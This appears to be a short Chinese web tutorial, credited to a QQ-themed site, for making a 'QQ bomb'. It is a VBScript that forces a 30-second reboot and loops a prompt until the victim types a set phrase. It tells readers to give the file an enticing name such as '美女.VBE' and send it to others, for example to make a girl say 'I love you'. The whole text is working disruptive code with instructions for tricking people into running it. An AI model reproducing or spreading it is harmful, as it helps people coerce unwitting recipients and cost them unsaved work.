|
第一步，将以下代码复制到记事本中。 on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说QQ客是好网站，不说就30秒关你机，不信，试试···"" ",0,true
dim a
do while(a <> "QQ客是好网站")
a = inputbox ("说QQ客是好网站,就不关机，快撒，说 ""QQ客是好网站"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
中国QQ客联盟 上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”） 本文来自www.3800q.com 这样一个简单的QQ炸弹做成了。
| 
